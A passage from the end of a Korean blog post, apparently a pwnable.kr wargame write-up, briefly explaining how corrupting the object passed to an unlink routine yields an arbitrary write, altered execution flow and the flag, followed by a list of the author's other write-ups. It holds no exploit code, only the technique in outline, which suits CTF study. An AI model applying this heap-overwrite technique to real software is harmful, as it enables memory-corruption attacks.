unlink(B);

return 0;


}


unlink 함수에 전달되는 OBJ 인스턴스를 변조하여 내가 쓰고 싶은 부분에 값을 쓸 수 있다. 

이는 내가 입력한 값에 대한 입력 값 검증이 존재하지 않아 가능하게 된다. 


즉, 내가 A->buf에 입력한 값이 B에 영향을 끼친다. 


이로써 실행 흐름을 변경할 수 있고 결국 플래그를 획득할 수 있게 된다. 



문제풀이 끝!





블로그를 쓰면 쓸수록 성의가 없어지는 것 같네 ㅠㅠ 시간있을 때 조금 더 보충하도록 하겠음!!



'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
[문제풀이] pwnable.kr - mistake  (0) 2017.07.09
[문제풀이] pwnable.kr - leg  (0) 2017.07.09
:
Posted by einai